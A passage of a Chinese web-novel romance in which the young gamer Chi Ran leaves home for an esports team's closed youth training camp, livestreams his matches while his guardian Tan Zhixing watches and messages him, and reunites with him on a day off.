他已经三十岁了,却无法处理好感情问题。一向自诩的理性成熟, 一点用都没有。 潭知行沉口气,缓慢地输密码开门。滴的一声后,门开了。不知怎的, 他稍稍松了口气,至少这次池燃没有改门锁密码。 他停顿两秒,才推门进去。屋子里安安静静的,没有半点动静,也没有生活过的痕迹, 看上去和他们旅行前离开时一样。 潭知行莫名心中一紧, 扔下行李箱, 径直朝池燃的房间走去, 推开门,果然, 池燃也不在房间里。 而衣柜的门敞着,里面空空荡荡。 潭知行一瞬间懵了。 他像是不敢相信,又推开卫生间的门,可台面上的牙刷牙杯等等一切东西都不见了,干净得像是这间屋子不曾住过人。 他的手握在门把上久久没放开, 就僵在那里。 池燃走了?走去哪里?回家了吗?回到他原本该在的地方? 可,他不是不喜欢那个家吗? 裤兜里的手机忽然响起来,潭知行几乎是条件反射般的拿出手机,可看到屏幕上的名字又落入失望。是韩闻烁。 他接起电话来,克制住哽咽,声音低沉,“说。” “哎我刚发现我电脑落你车上了,明天你啥时候有时间我去取。” 潭知行略有呆滞地目视前方,心思完全不在这上,“都行。” 突然,他瞥见洗漱台的柜门边夹了张纸条,虽然只露了个小边出来。 他伸手将纸条抽出来,是池燃的字迹。 【1/5,我离家出走了,但是】 潭知行没再听韩闻烁说什么,直接挂断了电话。 他翻着那张纸条反复看了看,但是后面就没有话了。 但是什么? 直到他注意到左上角的那个1/5,突然灵光一闪,所以是有五张这样的纸条? 潭知行随即冲出房间,将屋子里每个角落都翻了个遍。最后在电视柜里,书房键盘下面,书柜上,还有洗碗机里,分别找到了一张纸条。 按顺序拼起来,池燃留给他的话是:我离家出走了,但是也不算,我去参加TJG的青训了,封闭的,一个月,不想见你,别找我。 潭知行前前后后折腾了一个小时,最后脱力地在沙发上坐下来,仰面靠住。 他一只手搭在额前,盯着天花板,忽然笑了声。 回想自己刚才的一番举动,简直和疯了一样,幼稚得要命。 池燃大概是故意折腾他,可他偏偏甘之如饴。 只要池燃没走就好。 要是池燃真的和他不告而别,那他才真的不知道该怎么办了。 冷静了片刻,他拿出手机给韩闻烁打电话。 “不是,你他妈有病,听我说完——” 潭知行听着韩闻烁骂他,一点没生气,“你知道TJG是什么吗?”- “我们TJG五年蝉联冠军,对青训生的挑选自然也是很严格的,你们能入选都是因为你们有一定的实力,第一天是自由训练,你们登陆自己的账号,随机和路人组队打三局。” 王闲背着手在他们身后走来走去,“我会观察你们的个人能力,习惯,反应速度等等,但是也不要紧张,一个月的时间,你们都会有进步。” 池燃一直想着那条他没看见的消息,潭知行到底会跟他说什么呢? 是发现他不在家了?还是已经找到他留的纸条了? 他那几张纸条藏的不算太隐蔽,潭知行应该能找到吧?可要是没找到,潭知行会不会去报警啊? 直到游戏开始,池燃的心思还有点飘。 “右边房区有人没听见?”王闲的声音从他身后传来,跟幽灵一样。 池燃一个激灵,“听,听见了。” 王闲训道,“专心点。” 池燃感觉王闲一直站在他身后没走,才不得不把心思收回来,专注到游戏里。 王闲若有所思地看了池燃半晌,点点头走了。 算是个好苗子。 但是像池燃这样的苗子这些年他见了不少,天才之所以能成为天才,除了天赋,还需要超出常人不能有的刻苦努力。否则,再强的天赋也会白费。 “我大概看了看你们的操作,有几个人表现还是很不错的。”下午的训练结束前,王闲总结复盘,点了几个名字,“于胜,池燃,段宣行。” “其他人在训练期间还要多加努力。” “行了。”王闲说,“都吃饭去吧,一会儿准时回来,参加晚上的训练,要给你们开直播的。” 男生们散漫地应了声,三三两两站起来。 原本坐在池燃对面的男生把耳机扔下,瞪了池燃一眼才走。 池燃愣了下,觉得莫名其妙。 “池哥!”李凯城从斜对角走过来,“咱一起去吃饭吧,我都饿坏了。” 池燃应了声,“好,一起吧。” “要不要叫于胜一起啊?”李凯城问他。 池燃:“都行。” 李凯城正要回身找于胜的身影,于胜就从他俩身边掠过去了,理都没理他俩。 李凯城尴尬地挠挠头,“行吧,那咱俩吃。” 食堂和宿舍都在三楼,电梯被占满了,他们就走的楼梯。李凯城边走边感叹,“哎,池哥,虽然都进了青训,可是实力还是有差距啊。你和于胜都被教练点名表扬了,显得我给咱寝室拉后腿一样。” “才第一天。”池燃安慰他,“好好练就行了。” 李凯城高兴地应了一声,“好!” TJG的伙食不差,是自助餐,种类还蛮多的。李凯城一进到食堂,拔腿就去抢了两个餐盘回来,分给池燃一个。 “来,池哥。” “谢谢。”池燃说。 “我去那边看看!”李凯城说,“咱俩一会儿在靠窗边的桌子那儿集合。” 池燃跟他比了个ok的手势,端着盘子排队。 他探头探脑地往前看,训练了一下午,他也饿了,巴不得快点吃上饭。 但等轮到他夹菜的时候,他一下有点懵了。 品类是挺多的,西红柿炒鸡蛋,孜然羊肉,鳕鱼,鱼香茄子,西芹炒粉,红烧肉…… 怎么做到的?全是他不爱吃的? 池燃拿着夹子,根本下不了手,一时犹豫了几秒。 最后勉强夹了两条炒菜心。 “快点啊。”后面的人拿铁盘子推了下他,“墨迹什么?” 池燃被硌到肋骨,不太耐烦地朝那人看了一眼。 谁知道那蓝毛男生一下怒了,拿着空盘敲了下餐台,发出“邦”的一声。餐厅里大半的人都被这一声吸引了注意力。 “你他妈看什么!”那男生拿盘子指着池燃,像拿着什么武器似的,“说你慢你还不乐意了!挑什么,公主病啊!” 池燃一瞬间也被惹毛了,他刚要反驳,却有个人拦在了他俩中间。 是于胜。 “吵什么?”于胜冷眼朝那男生看过去,“能耽误你几秒?差那几秒回去训练吗?” “我操……”蓝毛男生更是被他这几句话惹到了,抬手就要拿餐盘砸过来,“打得好了不起啊?!” 但盘子被于胜死死捏住,动都动不了。 男生挣扎了两下,似是觉得没面子,怏怏松了手,“这么喜欢这盘子,送你了。” “我再拿一个去。” 他灰溜溜地逃走,惹得餐厅其他人都窃窃笑了几声。 于胜回身,对池燃道,“你继续吧。” 池燃:“啊?” 他都有点懵了。 于胜:“盛菜。” 池燃:“哦哦。” 他忙又夹了一盘菜心。 随后转身跟上于胜的步子,“那个,谢谢你啊。” 于胜:“没事。” 池燃琢磨了下,问,“你要不要跟我们一起吃啊?” 李凯城一路小跑冲过来,挤到池燃身旁,“咋了咋了池哥?出啥事了?我刚才跟他们抢红烧肉呢,你们咋吵起来了?” “也没什么。”池燃说,“有人找事,于胜帮我解围了。” 李凯城顿时用崇拜的目光看向于胜,他就知道他这位室友不简单。 “那我们一起吃吧?那边空了个桌子。” 于胜好像是被池燃和李凯城架着和他们坐到一起的,他坐在俩人中间,又显得格外沉默。 “我去。”李凯城看到池燃盘子里的一坨绿色,不敢相信自己的眼睛,“池哥,你减肥还是吃素啊?” 和池燃比起来,他简直是大开吃戒。 池燃为难地承认道,“不是……我有点挑食,刚好今天食堂的菜我都不喜欢吃。” “这样啊。”李凯城咬着筷子,思索片刻,忽然一笑,压低声音问他,“池哥,你想不想点外卖?” 池燃:? “手机不是被收走了吗?”他问,“怎么点?” 李凯城嘿嘿笑,“我有备用机。” 池燃啧了一声,“怪不得你交手机交得那么干脆。” 李凯城得意,“有备无患嘛。” 他们商量了一下,决定先老老实实吃晚饭,等训练结束,夜深人静的时候再偷偷点外卖当夜宵,比较隐蔽。 晚上的训练算是第一次相对正式的,他们四人一队,和其他战队的青训生打比赛,一同开直播,算是个亮相,也是战队维持流量吸引粉丝的一种手段。 直播一开,就涌进了不少粉丝,弹幕刷刷地飘过来。 【让我看看今年的青训生有什么好苗子。】 【有没有小帅哥?】 【哥几个这么菜还敢来青训?】 因为是第一次直播,战队相对重视,场外配了解说和场控。池燃刚调好参数设置,准备带上耳机开工,突然听到房间里回响起场控激动的一声。 “感谢‘潭知行’送来的嘉年华!”—— 作者有话说:小池:[问号][问号][问号]老年人,实名制上网[哦哦哦] 第57章 “韩闻烁, 把手机还我。”潭知行忍不住朝电视上瞟,又一面急着从韩闻烁手里拿回手机。 韩闻烁把直播投屏到了电视上,一众小屏幕的一角里, 池燃明显呆了下。 “行了, 你别乱发。”潭知行制止他。 “最后一句最后一句。”韩闻烁躲着潭知行,手指在键盘上一顿乱飞:「Fire小宝贝加油哦!」 Fire是池燃的游戏ID名。 “还你还你。”他发完弹幕,把手机扔给潭知行, 又掏出自己的手机来,“我用我自己的发。” 潭知行拿回自己的手机, 一时有点无奈。 池燃应该……看不见刚才那句吧? “哎呀,真没想到小池燃能进青训。”韩闻烁感叹道,“真给他韩哥长脸, 看我给他好好刷点礼物,给我们小池燃造造声势。” “哎潭知行,你快看弹幕。”韩闻烁用胳膊怼怼潭知行,“你看弹幕都在说池燃长得帅呢。” 潭知行将目光从电视移回手机上,果然, 弹幕上一排排刷了起来。 【我靠, 你们看到倒数第二排左数第三个男生没有?他好帅啊。】 【他叫啥啊?有没有微博?】 【你有这么帅的帅哥进入青训……】 【是不是过一周青训生就可以单独开直播啦?】 【他是不是混血啊?】 【啊啊啊啊啊啊啊啊啊哥哥!!!】 韩闻烁看着看着就笑出了声来, “池燃还真可以啊, 这么小的屏,这么多人, 大家都能发现他长得帅,这是天生丽质难自弃啊。” 他跟潭知行指指屏幕,“池燃绝对能火你信不信?” 潭知行:“……” “看他打比赛吧。” 他问韩闻烁,“你能看得懂吗?” “必须啊。”韩闻烁说,“我总看他们职业选手直播。” “他们会直播到几点?每天都播吗?”潭知行盯着电视左下角的人问。 “嗯……”韩闻烁琢磨了下, “基本上要播到十二点吧?一周休一天这样?” “十二点?”潭知行诧异,“这么晚?” “差不多吧。”韩闻烁边嗑瓜子边说,“这还是青训呢,等真当了职业选手,更累。” 韩闻烁乐了,问潭知行,“怎么?你心疼啊?” 潭知行一阵沉默。 韩闻烁凉嗖嗖地说,“那你就心疼着吧,谁让你不答应人家,你现在可管不着人家。” “哎卧槽!”韩闻烁一下激动得差点从沙发上跳起来,“一枪爆头!瞬狙!池燃这么牛逼?!” 潭知行看不太懂这些,他默默沉口气,一只手拄在沙发靠背上,撑住了头。 他现在确实没有资格管池燃,但说实在的,他也不是想管池燃。只是……这样严苛的训练,池燃能撑得住吗? 既然是集体训练,想必住的肯定是几人寝,也没有独立卫生间,池燃不一定住的习惯。吃的呢?食堂?还是外卖?池燃那么挑食,能吃得好吗? …… “赢了!”李凯程一把将耳机摘下来砸到桌面上。 “太牛了池哥!”他几近崇拜地看着池燃,“你打狙这么厉害,没想到近战也这么牛!绝地一打三!” “你们也厉害。”池燃笑着看看他几个队友,松了下手腕。 场控:“感谢韩哥哥爱小池送来的热气球!” “感谢韩哥哥爱小池送来的跑车!” 池燃:“……” 他脸上的笑容一下僵住。 这……八成是韩闻烁吧。 还有刚才潭知行,怎么实名制上网啊? 他们从六点看到现在?这都快十一点了。 看向摄像头时,池燃不禁有点心虚。 潭知行不让他熬夜。 他伸手把摄像头挪偏了点,只露下半张脸出来。 弹幕顿时一片哀嚎。 【哇靠,不要啊!】 【眼睛好好看,给我看看!】 【Fire露脸!Fire露脸!】 【导播呢?有没有导播?管管Fire!】 【Fire真名叫什么啊?】 “……”潭知行沉默两秒,看向韩闻烁,“你吓到他了。” 韩闻烁咂咂嘴,“是吗?说不定是你吓到他了。” 潭知行:“我什么都没说。” 韩闻烁:“那用你手机给他刷个礼物试试看,正好他们现在休息。” 潭知行:“……” 韩闻烁一把抢过来他手机,“拿来吧你。” 他直接用潭知行的账号给直播间刷了个豪华摩天轮。 场控随即一嗓子,“感谢‘潭知行’送来的豪华摩天轮!” 不到两秒,池燃直接把摄像头往下一扣,只拍手了。 韩闻烁:“哈哈哈哈哈哈哈哈。” 潭知行:“……”- 凌晨十二点,直播准时结束。经过长达六小时的训练,一排人都跟霜打了的茄子似的,在座位上缓了会儿才陆陆续续往外走。 回到宿舍,李凯程立刻和池燃研究起来点什么外卖。 “我吃麻辣烫,你呢池哥?” 池燃跟他脑袋挨着脑袋,“我跟你吃一家,取起来方便。再给我加个烤肠。” “行。” 李凯程正要付钱,突然有人推门进来,把他吓了一跳,连忙把手机藏到身后。 看清来人是于胜之后,李凯程松了口气。 “你咋才回来啊?我还以为教练查寝呢。” 于胜走回自己床边,“又练了一会儿。” “我们要点外卖,你吃不吃?”池燃问于胜。 于胜摇头,“不吃。” “也行。”李凯程说,“一会儿我俩出去取外卖,你帮我俩看着点,教练要是来,就说……我们下楼跑圈去了。” 眼看着外卖员要到了,时间也临近半夜一点了,整层楼静悄悄的。池燃和李凯程蹑手蹑脚地推门出去,一路小跑着下楼,跟做贼似的闪出大门。 李凯程将定位定到后院,正好有排栅栏,能让外卖员把餐递进来。 天黑了个透,附近也没有灯,他们走到栅栏附近都得小心翼翼的。 “哎,池哥。”李凯程悄声跟池燃说话,“你听见什么动静没有?” “好像是有。”池燃说,“你打开手电筒看看?” 李凯程点点头,“嗯。” 手电筒一开,光往前晃过去,差点没把李凯程和池燃吓晕过去。 “我去!什么玩意!”李凯程吓得往后退了两步,踩到池燃脚上。 可对面那‘玩意’好像也被他们吓到了,发出一声国骂。 李凯程定了定神,把手电筒照上去。 “段宣行?”他一愣,问,“你们怎么在这儿?” 池燃再往旁边一看,这不是下午吃饭的时候找他茬的那个男生吗?叫宁什么来着? “你们怎么在这儿?”段宣行也反问他们,“快把手电筒关了,吓死我们了。” 李凯程:“哦哦哦。” “我们来取——” 池燃一下捂住他的嘴,长了个心眼,“我们来夜跑。” “来栅栏根夜跑?”旁边的男生骂了声,“你们他妈骗鬼呢?” 段宣行:“我们订了夜宵,等外卖呢,你们也……?” 李凯程嘿嘿跟他笑,“一样一样。” “谁在那儿呢!”话音刚落,忽然一嗓子吼过来,跟着,大手电筒的光就晃了过来。 李凯程反应得最快,“不好,是教练!快跑!” “给我站那儿!” 但是还没来得及跑远,四个人就暴露在了手电光里。 王闲怒道,“给我转过来!我看看是谁!” 僵持了几秒,四个人老老实实转过身。 王闲叉着腰朝他们走过来,“好啊,你们几个,说,这么晚了在这儿干什么?” 四个人垂着头互相交换目光,段宣行最先开口,“教练,我们,来夜跑的。” “骗鬼呢!” 李凯程:“教练,真的——” “哎!”栅栏边有人喊了声,打断他,“你们谁点的外卖!麻辣烫!” 李凯程:“……” 池燃犹豫了下,举起手,“我的。” 外卖小哥应了声,“诶,给你放这儿了啊。” 王闲扭过头来审视他们,“怎么点的外卖?谁藏了手机没交?” 四个人垂着脑袋沉默了阵,李凯程刚想动,手里的东西就被池燃一把抢了过去。 池燃:“教练,是我。” 他把手机递出去,“我藏的手机,要点外卖,他们就是……跟着我点的。” “池燃。”王闲盯着他看了看,“行,明天晨跑你多跑五圈。” 他夺过手机,“这个我没收了,放我办公室,训练结束再还你。” 池燃:“好。” “散了!”王闲严厉道,“都给我回去老老实实睡觉!” 李凯程立刻鞠了一躬,“是,谢谢教练。” 四个人在王闲的注视下灰溜溜地进了大楼,电梯里,他们先沉默了阵,段宣行率先开口,“兄弟,谢谢你了。” “没事儿。”池燃说,“罚我一个比罚咱四个强。” “那个……”角落里的蓝毛男生也开了口,“我也,也谢谢你。” 他抬眼看了眼池燃,“今天在食堂……对不住啊。” 池燃微微一愣,也冲他笑了笑,“嗯。” 等他们回到宿舍,于胜还没睡。见他们两手空空,垂头丧气地回来,于胜忍不住问了句,“你们……” 李凯程重重叹口气,坐回椅子上,“被教练抓了,白忙活一晚上,池哥还被罚了。” 他趴到桌子上心痛,“我的手机啊……没有手机接下来一个月我怎么活啊?” 池燃拍拍他肩膀,“忍忍吧。” “可我对象联系不到我会着急的……”李凯程苦着脸。 突然,他眉头舒展开,拉住池燃的手,“有了,我去把手机偷回来吧?” 池燃无语,“你别——” 等等。 池燃灵光一闪。 王闲说手机收到他办公室了,那他的手机是不是也在那儿? “我跟你一起去。”池燃说。 “嗯?”李凯程眼睛亮了,“池哥你这么好,为兄弟赴汤蹈火,在所不辞!” 池燃:“……我对象联系不到我,也会着急。”—— 作者有话说:小池:嗯嗯我也是[三花猫头](假的[化了]) 第58章 翌日清早, 天光刚亮不久,十来号人就老老实实在TJG楼下集合了。 李凯程困得眼睛都没睁开,站在队伍里晃晃悠悠的, 被王闲呵了一声。 “都给我站好了!五圈, 开跑!” 男生们懒懒散散地应了声,一个跟一个跑起来。池燃跟着李凯程跑在队尾,默默盘算这一圈大概有几百米, 他们跑五圈,他得跑十圈。 三百?还是四百? 李凯程打了个大哈欠, “池哥,一会儿辛苦你了啊,还得替我们罚跑。” 池燃在心里叹口气, “没事儿。” 李凯程又问他,“等你跑完,是不是就没时间吃早饭了啊?” “用不用我给你带点啥吃的?” 池燃琢磨了下,还真是。估计等他罚跑完,都该开始上课了。 “行, 你给我随便带点什么就行。”池燃说。 李凯程:“好嘞。” “快点跑!”王闲背着手训他们, “别在队伍里说小话!” 五圈跑完, 一群男生呼哧嘿呦地停下来, 有的还一个掺着一个。 “什么身体素质!”王闲看不过去,“以后每天都给我好好跑, 加强锻炼!身体是革命的本钱!” 池燃闷头一路跑,没停,不知情的几个人互相问了问,才知道他被罚跑了。 “看什么看!”王闲赶走他们,“看热闹没够, 行了,跑完的赶紧吃饭去。” 李凯程多看了两眼,跟池燃一顿比划,意思大概是让他挺住,加油,还没挤眉弄眼地比划完,被王闲一脚踹进楼里。 跑了八圈,算下来也有两千多米了,池燃呼吸渐渐乱了,速度也慢了下来,额头上开始冒汗。他平时运动量不算大,就算是Alpha的身板这会儿也有点撑不住,可王闲就在他眼前盯着,他不得不咬着牙继续跑。 “知道错了没?”他跑过去时,王闲问他。 “知道了。”池燃喘得上气不接下气,说话也无力。 “大点声!”王闲喊。 池燃一咬牙,“知道了教练!” “行了,就到这儿吧。”王闲嫌弃似的看他一眼,“看你一口气儿也跑不完这十圈,还欠我两圈,明天再跑,去吃饭吧。” 池燃气喘吁吁地停下来,扶住膝盖,仰头看王闲,“谢谢教练。” 赶着食堂开饭的最后十分钟,池燃走进食堂,脚下步子都有点飘。 李凯程一看他回来,立刻朝他招手,“池哥!这儿呢!” 他殷勤地把盘子和碗推到池燃面前,“跑完啦?给你拿的包子和皮蛋粥,刚想去找阿姨打包你就来了。” 池燃看了眼时间,还有不到十分钟就开始上理论课了。今天第一天,他不太想迟到。 “给。”于胜从对面走过来,扔了个塑料袋在桌子上,“带着去教室吃吧。” 池燃感激地看他一眼,立刻低头喝了两口粥,顺手把包子装进塑料袋里,叫李凯程,“走了,别迟到。” 池燃从来没觉得自己这么狼狈过,又累又饿,想吃两口包子还得偷偷摸摸的,趁王闲在上面讲,他就低头塞两口,吃也吃不踏实。 他觉得王闲大概是发现他在偷吃了,但看在他罚跑的份上,对他睁一只眼闭一只眼。 一晃一周时间过去,一群男孩都没了刚开始来的时候那股精气神,一个个跟被吸干了似的。 刚吃过晚饭,李凯程拉着池燃往寝室走,想在晚训直播前休息一会儿。 “要么说最好的戒游戏方法是送孩子来青训呢,我真服了。”李凯程叹口气,“我刚才去健身房,称了下/体重,这一周我都瘦三斤了。” 池燃仔细看看他的脸,好像的确比刚来那会儿瘦了点。 “行了,再坚持一下吧。”池燃劝他,“教练不是说明天下午就能放咱半天假。” “半天。”李凯程一阵哀嚎,“半天够谁放的啊……” “算了算了,有比没有强,咱回去睡会儿吧,晚上第一次单独直播,要是表现不好,教练指不定怎么训咱们呢。” 晚上的时间通常是自由训练,但按合同要求,从这周开始,青训生就要单独直播。 等成为职业选手后,直播就是工作的一部分,考虑到热度和影响力等商业价值方面,从青训开始,算是一种试水。 晚上八点,池燃调试好设备,准时打开直播间。 没几秒,直播间里就涌入了一批人。 进入大厅等待匹配的时间里,他瞟了几眼弹幕。开播之前王闲嘱咐过他们,让他们不要一门心思训练,空闲的时候也要跟弹幕互动,活跃一下气氛。 但这会儿弹幕刷得过快,他连半句话都读不完就嗖地被顶了上去。 池燃:“……” 这时弹幕突然很团结地刷了起来。 【说话!说话!】 【Fire说话!】 【Fire说话!】 …… 池燃眨巴着眼睛看了两秒,出声问,“……说什么?” 他平时虽然会吵闹了点,可头一次面对这么多隔着网络的陌生人,还是有点拘谨。 他抿抿唇,重新将目光投回游戏页面上,“我开始了。” 游戏开始,池燃专注起来,搜集物资,跑圈,他开的四排,但没带队友,练的就是这种一打四的能力。 他在一片房区里靠钢枪打掉一队,转头又去山上架点狙掉一队,主打一个哪里有枪声他往哪儿跑,看热闹不嫌事大,还要插上一脚。 最后一个人吃鸡。 结算画面跳出来,池燃紧绷的精神松懈下来,往弹幕上瞟了一眼。 【啊啊啊啊啊啊啊啊太牛逼了!】 【这操作帅的我满地乱爬】 【没看出来啊,长得这么乖,玩这么野?】 …… 他只看清最后一句,顿时哽住了下。 呃,被发现了。 他动动鼠标,正准备开下一局,又瞟到弹幕上一排排刷了起来。 【别走别走别走,说两句!】 【别走别走别走啊啊啊啊啊啊!】 【聊两句!】 池燃顿了下,松开鼠标,转而认真地看向弹幕。 “聊什么?” 弹幕瞬间刷出来一大堆问题。 【多大了?】 【是混血吗?】 【有对象了吗?】 【本名叫什么?】 【你微博叫啥】 【每天都这个时间直播吗?】 池燃捕捉到几个出现率最高的问题,一一回答道,“我叫池燃,18,是混血。” 【啊啊啊啊啊啊啊啊好乖好乖】 【乖宝好听话】 【微博呢!你有没有微博!】 池燃微微蹙眉,搞不懂大家对他的评价居然会是“乖”,他自认自己除了长得会给人一点这种错觉外,他的性格和这个词没有半毛钱关系。 “我没有微博。”池燃说,“你们需要的话,我可以弄一个。” 【好乖好乖好乖好乖好乖】 【谢谢宝宝,妈妈很需要】 【发色是天生的吗?】 【身高多少?有180吗?】 【怎么练的这么牛逼,说点经验呗。】 池燃稍稍眯了眯眼睛,仔细去看弹幕,忽然在一众稀奇古怪的ID里,发现了个特殊的:潭知行。 他猛然心头一跳。 潭知行? 为什么会在他直播间?从什么时候开始在的?来看他的?看他干嘛…… 池燃想着想着,莫名坐直了些,左手手心蜷在一起。 他刚刚看清潭知行的弹幕了,潭知行问他,集训辛苦吗? 池燃犹豫了下,缓缓开口,“集训……还行。” “不辛苦。”他说。 【宝宝骗人的吧呜呜呜】 【青训怎么可能不辛苦!】 【宝宝你一定要进主队啊啊啊】 【小宝别逞强】 潭知行:【习惯吗?】 因为潭知行的每个弹幕都很简短,相比其他的更显眼,池燃想看不见都难。 他抿了下唇,微垂下眼,“没什么习惯不习惯的,就那样,睡得好,吃得香。” 【TJG的伙食一直不错的】 【宝宝一定多吃点啊啊啊】 【Fire你太瘦啦,多吃点!!!】 【你跟谁是室友呀?】 潭知行:【等你回家。】 池燃看清那四个字,瞬间眼睛一酸,很快将视线从弹幕上移开。 “不说了,我继续打游戏了。” 他这些天好不容易平复下的心绪又被潭知行轻飘飘几句话搅乱,潭知行既不喜欢他,又要关心他。 特别坏。 他们这样到底算什么? 他说完这句就专心回游戏了,没看见潭知行被追着骂了十几层。 【楼上的什么意思】 【让我们宝宝回家?做梦吧你!】 【黑子滚】 【我们Fire才不会回家,会走到最后进主队的,气死你气死你】 凌晨十二点,池燃到点下班,关掉直播间,靠在椅背上大大伸了个懒腰,又看着墙壁发了会儿呆,才起身离开。 他洗过澡,擦着头发从浴室出来,被夺门而入的李凯程吓了一跳。 “池哥。”李凯程急急忙忙的,一把抓住他,“快跟我走。” 池燃懵了,“上哪儿去?” “拿手机。”李凯程眼睛做贼似的亮,“我刚看见教练出门了,不知道干啥去,快走快走。” 池燃头发还没干,穿着睡衣被他拉出门。 “一会儿我给你望风,你去拿你手机,拿出来你再给我望风。”李凯程和他商量对策,“找到了就赶紧出来。” “你先去找吧,我不着急。”池燃说,“万一时间不够用,先把你的拿回来。” 李凯程感激地看他一眼,冲他抱拳,“大恩不言谢。” 王闲的办公室在四楼,平时出门都会锁上,但这会儿大概是临时出去一趟,没有锁。走廊里黑漆漆的,房间里也黑乎乎一片。 李凯程摸进去,先到桌边的抽屉翻了一圈,没有。又去书架上摸了一遍,没有。 池燃焦急地等在门外,不一会儿,电梯运行的声音突然传来,让他心提到嗓子眼。 电梯门一开,光亮从走廊尽头照过来。 “谁在那儿?”王闲问。 池燃心死了又死,硬着头皮道,“是我教练,池燃。” 王闲哦了声,问,“你站那儿干嘛?” 池燃:“……我,我有点事想和教练您说。” 王闲手里提着个黑色塑料袋,走过来看了看他,“这么晚了,行吧,来我房间说,我正好要吃饭。” 池燃松了口气,“好的教练。” 他跟着王闲往相反的方向走,心虚地回头看了眼办公室,希望李凯程能找到手机吧。 王闲领着池燃进了房间,一迈进来,池燃傻眼了。 一墙的手机就挂在墙上的布袋里,每个都贴着名字,正对着王闲的桌子。 池燃:“……” 这谁能偷的走…… 王闲把黑色塑料袋放在桌上,从里面掏出两件衣服,又拿出来个饭盒来。 “你先坐。”王闲给他拉了个椅子过来,“正好我也有点事要跟你说。” 池燃点头。 王闲也刚要坐下,动作忽然顿了下,“哎,我得去办公室拿个东西,你等我一会儿。” 池燃:“好。” 就那么一瞬间,他有了个很冒险的想法。 等王闲一关上门,池燃迅速将自己的手机拿了过来,按开机键,不过十几秒,他点开微信。 反应了一会儿,消息一个接着一个弹出来。 池燃只点开了自己的置顶。 潭知行:「我看到你留的纸条了,知道了。」 潭知行:「需要我给你送些什么东西的话,随时说。」 潭知行:「池燃?」 潭知行:「我知道你还在生气,但收到消息可以回我一下吗」 潭知行:「好吧,韩闻烁说你们可能不让用手机。」 潭知行:「住得还习惯吗?」 潭知行:「吃的东西呢?」 潭知行:「和其他人好好相处,不要打架不要受伤。」 潭知行:「累不累?」 潭知行:「今天看到你直播了。」 潭知行:「还在躲我吗?」 潭知行:「等你集训结束,我们好好谈一谈。」 潭知行:「不想谈也没关系,回家就好。」—— 作者有话说:小池:[可怜][愤怒][可怜][愤怒][可怜][愤怒](就这样反复 潭老师:[求求你了][求求你了][求求你了](错了 第59章 池燃看着看着, 眼睛酸得好似要流泪。其实,这些天他过得一点也不好。 宿舍的床板很硬,睡得总不踏实, 他有点小洁癖, 和室友们共用浴室也觉得难受,还有食堂的饭,总会遇到几样他不爱吃的。 每天一睁眼就是跑操, 熬夜熬到凌晨一两点,训练练到梦里都在和人打架。 他直播时说的没事, 都是嘴硬的假话。他不想让潭知行觉得,自己离开他,离开家, 会过得很糟糕,会连这点苦都吃不了。 听到王闲走近的脚步声,池燃忙把手机按关机,塞回原位,老老实实地坐到椅子上。 王闲拿着一沓纸进门, 走过来递给池燃, “来, 你看看这个。” 池燃侧身接过来, 问,“这是什么?” “你先看。”王闲坐下, 拿过他的饭盒打开,又瞥了眼池燃,“诶,你眼睛咋红了?” “啊?”池燃顿时心虚地眨眨眼,“我……” “是不是这几天熬夜累的?”王闲问。 池燃一听, 顺势应下来,“哦……有点。” “训练固然重要,但也要以身体健康为前提。”王闲说,“劳逸结合,留的青山在不怕没柴烧,这个道理你懂吧?” 池燃点点头,视线落向手里的那份纸,“这是……” 什么合同? “你表现不错,锐星平台想提前和你签直播合同,这是他们昨天才给我发来的。” 池燃有点懵,“提前?是什么意思?” 王闲带着些笑意看他,“就是不管你能不能进TJG主队,他们都想和你签这个合同。” “直白点说,他们看中了你的能力,不管是游戏技术方面,还是吸粉挣钱的能力。” 池燃:“……我吗?” 他不否认自己的专业能力很强,可吸粉的能力是从哪里看出来的? 王闲笑了下,“确实,你们这些天没有手机,不知道网上的情况什么样。我实话跟你说吧,这次的青训生里,大家对你的讨论度是最高的,甚至超过了一些在役的职业选手。” 他拍拍池燃的肩,“池燃,你火了。” 见池燃有点呆,王闲反问他,“你没发现你刚才直播间里人很多吗?” 池燃:“我以为大家都……” 所以是,只有他吗? 池燃有点不敢相信。 他火了? 按捺不住的雀跃从他心里一点一点冒出来,他翻开那份合同仔细看,很快嘴角也压不住了。 他真的可以靠打游戏养活自己了。 “这合同你拿回去慢慢看,考虑好了跟我说。”王闲道,“不过,签了合同之后,你的直播时长就会比其他人要求的更多,尤其是在集训期间,你会更累一点。” “好,我知道了。”池燃站起身,神采奕奕的,“我想一下。” 王闲满意地点头,“嗯,回去早点休息吧。” 池燃:“嗯!” 他刚转身要走,忽然想起什么似的,又顿住步子。 “教练……” “怎么了?” 池燃犹豫了下,“我,我想……问您借下手机,发个短信。” 王闲疑惑了声。 “我那个,衣服带少了,这两天降温,我有点冷……”池燃说着说着,在王闲的注视下,声音弱下来,“明天放假,能不能……” 王闲把手机递给他,“嗯,让你家里送过来。” 池燃一愣,高兴地接过手机,“谢谢教练!”- 周末,上午的课一结束,一个个男生都七扭八歪地瘫在椅子上,少有几个精神的,跟一旁的人商量着去哪儿玩。 “我知道附近有个KTV,咱下午唱歌去吧。”一男生说。 “别开玩笑了,教练不可能给咱手机,没钱,上啥KTV,顶多在附近逛逛公园,呼吸呼吸新鲜空气。” 另一个男生摆手,“我不去,我要在宿舍睡到天荒地老。” “池哥,咱吃完饭——”李凯程正要和池燃商量一下下午放假干嘛,一转头,池燃都跑到教室门口了。 他扯着嗓子喊,“哎,你干啥去!” 池燃头也不回,“我有点事,你先吃饭!” 李凯程挠挠头,有气无力地趴回桌子上,“有啥事啊……” 池燃一阵风似的下了楼,大步穿过操场。 他和潭知行约的时间是下午一点,现在还不到十二点半,还早着呢,但他就是想去门口看看,潭知行来了没有。 说实话,分开这些天,他有点想潭知行了。 但绝不是要原谅潭知行的意思。 他也知道自己这种心情很奇怪,明明不想见,却又盼着他来,还特意找了个借口。明明自己都被拒绝了…… 跑到大门口,池燃突然又有点后悔。 他这么早出来干嘛?在这儿罚站吗? “池燃。” 正当他纠结时,熟悉的声音从对面传来,池燃猛地抬头,看到潭知行的那一霎那,微微愣了下。 潭知行提着纸袋,从车上下来,朝他走过来。 池燃就那么呆在那儿,看着他,半步也动不了。这是从海城吵架之后,他们第一次见面。 一瞬间,当时的那股愤怒和羞愧,又再度涌上他心头,让他恨不得再给潭知行一拳,或者自己找个地洞钻进去。可一切的情绪,都抵不过他想多看潭知行两眼。 感觉,有好久好久没见过了。 “给。”潭知行站到他面前,把纸袋递过来,“拿了两件薄外套,最近降温,早晚记得穿。” 池燃迟了几秒,才伸手接过来,干巴巴哦了一声。 